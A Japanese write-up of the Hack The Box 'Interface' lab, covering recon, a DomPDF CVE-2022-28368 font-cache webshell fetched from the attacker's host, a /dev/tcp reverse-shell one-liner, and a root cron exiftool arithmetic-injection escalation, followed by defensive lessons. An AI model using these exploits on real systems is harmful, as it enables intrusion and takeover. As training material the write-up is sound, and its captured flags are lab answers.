Hack The BoxのWriteup(Interface)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Interface — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80のみ
CSPヘッダーからサブドメイン発見
prd.m.rendering-api.interface.htb
ffuf全ステータスコード走査
/api/html2pdf 発見(DomPDF 1.2.0)
CVE-2022-28368
@font-face キャッシュ汚染RCE
www-data シェル
user.txt ✓
cleancache.sh 発見
root cron, exiftool呼出
Quoted/Arithmetic Expression Injection
[[ “$var” -eq “dompdf” ]]悪用
SUID /bin/bash 付与
bash -p
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.228.208
nmap -Pn -sV -sC -p 22,80 10.129.228.208
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site Maintenance
ℹ️
OpenSSH 7.6p1 は Ubuntu 18.04 (bionic) 由来のバージョン — かなり古いベースOS。 Webルートは「メンテナンス中」の静的ページのみで手掛かりが乏しい。

HTTPヘッダー調査 — CSPからサブドメインを発見

BASH
curl -sI http://10.129.228.208/
RESULT
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
X-Powered-By: Next.js
Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com ...;
  connect-src 'self' http://prd.m.rendering-api.interface.htb; style-src 'self' 'unsafe-inline' ...;
🚨
重要発見: CSPヘッダーの connect-src に社内APIらしき prd.m.rendering-api.interface.htb というサブドメインが記載されている。 フロントエンドはNext.js(React)で、このAPIサブドメインと通信する設計と推測できる。
PHASE 2

サブドメイン列挙 & API エンドポイント発見

/etc/hosts への登録とバーチャルホストの初期調査

BASH
echo "10.129.228.208 interface.htb prd.m.rendering-api.interface.htb" | sudo tee -a /etc/hosts
curl -s http://prd.m.rendering-api.interface.htb/
RESULT
HTTP/1.1 404 Not Found
Content-Length: 16

File not found.

ディレクトリ探索 — /vendor に dompdf を発見

BASH
gobuster dir -u http://prd.m.rendering-api.interface.htb/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
403  GET  /vendor
(さらに /vendor/ 配下を探索すると…)
403  GET  /vendor/dompdf
403  GET  /vendor/composer
ℹ️
/vendor/dompdf/vendor/composer は共に403(アクセス禁止)だが、 存在は確認できる。dompdf(PHP製HTML→PDF変換ライブラリ)が使われていることが判明。

404長さの差異に注目した全ステータスコードFuzzing

NOTE
ルートへのアクセスは Content-Length: 16 の 404 だが、存在しないパスへの
アクセスは Content-Length: 0 の 404 になる。この差異を手掛かりに、
「サイズ0のレスポンスだけ」をフィルタして全ステータスコードを対象に
Fuzzingすることで、通常の404フィルタでは見落とすエンドポイントを発見できる。
BASH
ffuf -u http://prd.m.rendering-api.interface.htb/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
  -mc all -fs 0
RESULT
api    [Status: 404, Size: 50, Words: 3, Lines: 1]
.       [Status: 403, Size: 15]
vendor  [Status: 403, Size: 15]
BASH
curl http://prd.m.rendering-api.interface.htb/api
# → {"status":"404","status_text":"route not defined"}

# HTTPメソッドを変えてFuzzing(GET/PUT/DELETEは空振り、POSTで発見)
ffuf -X POST -u http://prd.m.rendering-api.interface.htb/api/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
  -mc all -fs 50
RESULT
html2pdf  [Status: 422, Size: 36, Words: 2, Lines: 1]
重要発見: POST /api/html2pdf というエンドポイントを発見。 その名の通り「HTML→PDF変換API」と推測できる。

html2pdf パラメータのFuzzing

BASH
curl -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf
# → {"status_text":"missing parameters"}

# JSONボディのキー名をFuzzing (サイズ36="missing parameters"を除外)
ffuf -d '{"FUZZ": "test"}' -H 'Content-Type: application/json' \
  -u http://prd.m.rendering-api.interface.htb/api/html2pdf \
  -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -mc all -fs 36
RESULT
html  [Status: 200, Size: 1131] → PDFバイナリが返却される
BASH
# 実際にPDFを取得しライブラリ・バージョンを確認
curl -s http://prd.m.rendering-api.interface.htb/api/html2pdf \
  -H 'Content-Type: application/json' \
  -d '{"html":"<h1>test</h1>"}' -o test.pdf
pdfinfo test.pdf   # または pdftotext -layout, strings test.pdf | grep -i dompdf
RESULT
Producer: dompdf 1.2.0 + CPDF
🚨
バージョン特定完了: DomPDF 1.2.0。 このバージョンは CVE-2022-28368(フォントキャッシュ経由のRCE)に脆弱。
PHASE 3

CVE-2022-28368 — DomPDF フォントキャッシュ RCE

脆弱性の仕組み

NOTE
DomPDF はHTML内のCSS `@font-face` でリモートフォントURLを指定されると、
そのフォントファイルをダウンロードし、以後のリクエストのために
下記の予測可能なパスにキャッシュとして保存する:

  /vendor/dompdf/dompdf/lib/fonts/[font-family]_[style]_[md5(font_url)].php

フォントファイルの実体はバイナリだが、ファイル形式の仕様上コメント欄に
任意のテキスト(=PHPコード)を混入できる。DomPDFは拡張子検証をせず
このURLの内容をそのまま「.php」ファイルとしてキャッシュに書き込むため、
キャッシュパスへ直接アクセスするとPHPとして実行されてしまう
(Positive Security社の公開PoC: github.com/positive-security/dompdf-rce)。

PoC取得 & webshell化

BASH
git clone https://github.com/positive-security/dompdf-rce
cd dompdf-rce/exploit
ls
# exploit.css  exploit_font.php  overview.png
BASH
# exploit_font.php 内の phpinfo() を任意コマンド実行に書き換え
sed -i 's/phpinfo();/system($_GET["cmd"]);/' exploit_font.php

# exploit.css を自分(Kali)のホストへ向ける
cat > exploit.css <<'EOF'
@font-face {
    font-family:'exploitfont';
    src:url('http://10.10.15.201:18100/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
}
EOF

# PHPが混入したバイナリをPHPサーバーで配信すると自壊するため
# 素のPython HTTPサーバーで配信する
python3 -m http.server 18100

html2pdf にスタイルシート読込を指示してキャッシュを汚染

BASH
curl -s http://prd.m.rendering-api.interface.htb/api/html2pdf \
  -H 'Content-Type: application/json' \
  -d '{"html":"<link rel=stylesheet href=\"http://10.10.15.201:18100/exploit.css\">"}'
RESULT (自ホストのHTTPサーバーログ)
10.129.228.208 - - "GET /exploit.css HTTP/1.0" 200 -
10.129.228.208 - - "GET /exploit_font.php HTTP/1.0" 200 -
DomPDFが指定した通りに exploit.cssexploit_font.php の順で フェッチしにきた。これでサーバー側にwebshellがキャッシュされたはず。

キャッシュファイルパスの計算 & webshell疎通確認

BASH
# キャッシュファイル名 = [family]_[style]_[md5(font_url)].php
echo -n "http://10.10.15.201:18100/exploit_font.php" | md5sum
RESULT
41530e365f66ca3b0a80c9bd76eeb9d6  -
BASH
curl -s -G \
  http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_41530e365f66ca3b0a80c9bd76eeb9d6.php \
  --data-urlencode 'cmd=id'
RESULT
(バイナリのフォントヘッダーに混在するが末尾に…)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE確立! レスポンスはバイナリのフォントデータと混在するため、 実運用では ?cmd=echo IFSTART; <cmd>; echo IFEND のように 目印文字列で挟んでから正規表現で抽出すると扱いやすい。
PHASE 4

user.txt 取得

webshell経由で dev のホームディレクトリを確認

BASH
curl -s -G \
  http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_41530e365f66ca3b0a80c9bd76eeb9d6.php \
  --data-urlencode 'cmd=echo IFSTART; cat /home/*/user.txt; echo IFEND'
RESULT
IFSTART
fded6ae4e4af434c11daa8c15c858ff7
IFEND
user.txt — dev (via www-data webshell)
fded6ae4e4af434c11daa8c15c858ff7
ℹ️
参考: リバースシェルを確立する場合は ?cmd=bash -c "bash -i >& /dev/tcp/<kali_ip>/443 0>&1" を送り nc -lnvp 443 で受け、script /dev/null -c bash + stty raw -echo; fg でTTYを安定化させるとよい。今回はワンショットの webshell経由コマンド実行のみで完結させている。
PHASE 5

権限昇格の下調べ — cleancache.sh の発見

root権限の定期実行タスクを発見

NOTE
pspy等でプロセス一覧を監視すると、root権限で数分毎に
/usr/local/sbin/cleancache.sh (別名 clean.sh) が cron 実行されているのが分かる。
webshell越しであれば /etc/cron.d/ や crontab -l -u root(権限があれば)、
または単純にファイルを直接cat してスクリプト内容を確認できる。
BASH
curl -s -G \
  http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_41530e365f66ca3b0a80c9bd76eeb9d6.php \
  --data-urlencode 'cmd=echo IFSTART; cat /usr/local/sbin/cleancache.sh; echo IFEND'
RESULT (cleancache.sh)
#!/bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
  if [[ -f "$cfile" ]]; then
    meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d" " -f1)
    if [[ "$meta_producer" -eq "dompdf" ]]; then
      echo "Removing $cfile"
      rm "$cfile"
    fi
  fi
done
🚨
重大な脆弱性: Arithmetic / Quoted Expression Injection。 Bashの [[ x -eq y ]] は本来「数値比較」の演算子だが、xまたはyが 数値でない文字列の場合、Bashはそれを算術式として評価してから比較する。 つまり $meta_producer(=exiftoolで読んだ画像のProducerメタデータ、 攻撃者が完全に制御可能)に、算術式として評価される特殊な文字列 x[$(コマンド)] を仕込めば、root権限で動くこのスクリプトの中で 任意コマンドが実行されてしまう。
PHASE 6

Quoted Expression Injection → SUID bash → root.txt

SUID化スクリプトの設置とペイロード付きファイルの用意

NOTE
www-dataは /var/www 配下に書込可能。ここに「/bin/bashへSUIDを付与する」
シェルスクリプトを置いておき、cleancache.shのinjectionからこれを呼び出す
方式にすると、コマンド中の空白やクォートの扱いに悩まされずに済む
(0xdf氏の元記事では ${IFS} でスペースを代用する方式も紹介されている)。
BASH
# www-data権限で /var/www/e (chmod u+s /bin/bash するだけのスクリプト) を設置
curl -s -G \
  http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_41530e365f66ca3b0a80c9bd76eeb9d6.php \
  --data-urlencode 'cmd=echo IFSTART; cd /tmp && printf "#!/bin/bash\nchmod u+s /bin/bash\n" > /var/www/e && chmod +x /var/www/e; touch iface_test; exiftool -Producer="w[$(/var/www/e)]" iface_test; echo IFEND'
RESULT
IFSTART
1 image files updated
IFEND
ℹ️
exiftool -Producer='w[$(/var/www/e)]' iface_test/tmp/iface_test画像のProducerメタデータに悪意ペイロードを書き込む。 w[$(...)] という文字列自体はexiftool実行時には何も実行しない (単なるメタデータ文字列)。次にroot権限のcronがこのファイルを exiftool -Producer ...で読み取り、Bashの [[ "$meta_producer" -eq "dompdf" ]] に代入した瞬間に算術式として評価され、埋め込んだコマンド置換 $(/var/www/e)root権限で実行される。

root cron の実行を待ち、SUID付与を確認

BASH
# cleancache.sh は数分毎に実行される。付与を確認できるまでポーリング
watch -n 10 'curl -s -G \
  http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_41530e365f66ca3b0a80c9bd76eeb9d6.php \
  --data-urlencode "cmd=echo IFSTART; ls -al /bin/bash; echo IFEND"'
RESULT (約75秒後)
IFSTART
-rwsr-xr-x 1 root root 1113504 Apr 18  2022 /bin/bash
IFEND
SUIDビットが付与された! パーミッションの3桁目が s(rws)になっている = root所有かつSUID設定済み。 これで /bin/bash -p(-pで権限降格を防止)を実行すれば 実効ユーザーIDがrootのシェルが得られる。

root.txt 取得

BASH
curl -s -G \
  http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_41530e365f66ca3b0a80c9bd76eeb9d6.php \
  --data-urlencode "cmd=echo IFSTART; /bin/bash -p -c 'cat /root/root.txt'; echo IFEND"
RESULT
IFSTART
2e165f50f88b0795f7300de716c3daba
IFEND
root.txt — Administrator@interface
2e165f50f88b0795f7300de716c3daba
ℹ️
インタラクティブなシェルが欲しい場合は、確立済みのリバースシェル上で /bin/bash -p をそのまま実行すればよい(euid=0(root)になる)。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — dev
fded6ae4e4af434c11daa8c15c858ff7
root.txt — Administrator@interface
2e165f50f88b0795f7300de716c3daba

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CSPヘッダーからの情報漏洩 Next.js フロントエンド 非公開APIサブドメインの発見 Medium connect-src ディレクティブに列挙された内部API用サブドメインを発見
CVE-2022-28368 DomPDF 1.2.0 リモートコード実行 (www-data) Critical @font-faceでリモートPHPをフォントとしてキャッシュさせ、予測可能なキャッシュパスへ直接アクセスしRCE
Arithmetic/Quoted Expression Injection cleancache.sh (root cron) 権限昇格 (www-data→root) High [[ "$var" -eq "文字列" ]]がBashの算術式評価にフォールバックする挙動を悪用し、exiftoolメタデータ経由でコマンド実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + HTTPヘッダー確認22/80のみ開放、CSPヘッダーからサブドメイン発見
2API発見ffuf全ステータスコードFuzzing(サイズ0を除外)/api/html2pdf エンドポイント、DomPDF 1.2.0確認
3RCECVE-2022-28368 (font-cache poisoning)www-dataとしてのコマンド実行
4footholdwebshell経由でホームディレクトリ探索user.txt 取得(dev)
5権限調査root cron (cleancache.sh) の発見exiftool呼出しにBash比較演算子の脆弱性を確認
6権限昇格Quoted Expression Injection→SUID bashroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
Content-Security-Policyヘッダーに内部専用APIのホスト名を平文記載 CSPは公開情報として扱い、内部専用ホスト名やインフラ構成を示唆する値を含めない。必要ならワイルドカードや別経路(サーバーサイドプロキシ)で解決する。
DomPDF 1.2.0(既知のRCE脆弱性 CVE-2022-28368 を含む古いバージョン)を使用 依存ライブラリを常に最新化し、Dependabot等で既知脆弱性を継続的に監視する。フォントキャッシュ機能を使わない構成であれば無効化する。
root権限のクリーンアップスクリプトが攻撃者制御可能なメタデータをBashの数値比較演算子に渡している [[ ]]-eq/-ne等は必ず数値専用に限定し、文字列比較には ==/= を使う。外部入力(ファイルメタデータ含む)を検証なしにroot権限スクリプトへ渡さない。
www-dataが/var/www配下に自由に書込可能で、root cronの動作対象ディレクトリ(/tmp)にも書込可能 Webサーバー実行ユーザーの書込み権限を必要最小限に絞り、root権限で処理する一時ディレクトリはWebサーバーユーザーから隔離する。
HackTheBox: Interface | 完全攻略レポート